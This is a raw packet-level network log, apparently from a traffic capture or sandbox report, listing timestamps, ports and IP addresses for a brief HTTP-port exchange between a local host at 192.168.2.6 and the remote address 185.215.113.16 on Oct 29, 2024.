Oct 29, 2024 20:44:55.775758982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.775785923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775801897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775839090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.776017904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776034117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776046991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776055098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776062012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776132107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.776377916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776526928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776541948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776556015 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776571035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776585102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776596069 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.776602030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776618958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.776627064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.776657104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.777035952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777164936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777179956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777194977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777209997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777225018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777235985 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.777268887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.777642965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777658939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777673006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777688980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777698040 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.777704000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777719975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.777733088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.777755976 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778043985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778650045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778664112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778676987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778692961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778692961 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778707981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778723001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778726101 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778738976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778749943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778754950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778769970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778788090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778844118 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.778961897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778978109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.778994083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.779026031 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.779211044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.779227018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.779273033 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.780633926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.780723095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.780739069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.780755997 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.780792952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.780849934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.789146900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.817168951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.817202091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.817286015 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.817363977 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.891767025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.891849041 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.891865969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.891906023 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892064095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892079115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892092943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892110109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892141104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892442942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892456055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892492056 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892559052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892571926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892627954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892700911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892715931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892730951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892746925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892749071 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892762899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.892775059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.892802954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893147945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893162966 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893186092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893292904 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893393993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893407106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893424034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893438101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893466949 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893481016 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893687963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893702984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893718004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893728018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893738985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893754959 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.893769026 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.893896103 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.894145966 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894166946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894182920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894197941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894213915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894308090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.894308090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.894646883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894660950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894675970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894690990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.894716978 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.894926071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895046949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895060062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895060062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.895098925 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.895193100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895207882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895222902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895239115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895247936 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.895276070 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.895848989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895864010 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895879030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895890951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.895906925 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.895931005 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.896002054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896017075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896032095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896048069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896060944 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.896063089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896081924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896087885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.896096945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896112919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896130085 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.896152973 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.896764994 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896780968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.896821976 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.897613049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.934103966 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.934205055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.934221029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.934263945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.008763075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.008793116 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.008810043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.008909941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.008909941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.009038925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009053946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009071112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009088039 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009094954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.009135962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.009352922 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009380102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009507895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009522915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009537935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009557009 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.009568930 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.009902000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009960890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.009974957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010004997 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010020018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010207891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010221958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010248899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010267973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010281086 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010313988 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010566950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010752916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010767937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010782003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010796070 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010797024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010811090 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010828018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.010838032 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.010864973 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.011348963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011363983 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011378050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011404037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011404991 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.011420012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011430979 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.011434078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011450052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011465073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.011497974 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.011497974 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.011985064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012059927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.012108088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012123108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012176037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.012346029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012361050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012375116 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012389898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012398958 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.012406111 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012423038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.012767076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012814999 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.012957096 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012970924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.012985945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013000965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013014078 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.013016939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013032913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013044119 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.013047934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013077021 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.013655901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013670921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013691902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013708115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013721943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.013734102 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.013760090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.014039040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.014053106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.014097929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.050740957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.050781965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.050806046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.050860882 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.126454115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126509905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126518011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.126527071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126569033 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.126741886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126758099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126773119 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.126813889 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.126990080 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127049923 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.127074957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127090931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127106905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127123117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127136946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127140045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.127152920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127159119 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.127197981 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.127687931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127707005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127722025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127737999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127753019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127769947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.127799034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.127835989 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128247023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128263950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128278017 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128293991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128314972 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128329039 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128654003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128669977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128695011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128710032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128726006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128732920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128741026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128757000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128760099 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128772020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128773928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.128787994 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.128818035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129487038 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129503012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129518032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129533052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129545927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129558086 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129561901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129576921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129578114 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129587889 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129625082 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129911900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129935980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129951000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129967928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.129977942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.129985094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.130029917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131196976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131212950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131228924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131242037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131244898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131268024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131282091 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131284952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131300926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131318092 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131325006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131339073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131354094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131357908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131369114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131385088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131386042 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131401062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131412983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131417036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131434917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.131438971 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.131474018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.134058952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.167638063 CET	80	62422	185.215.113.16	192.168.2.6
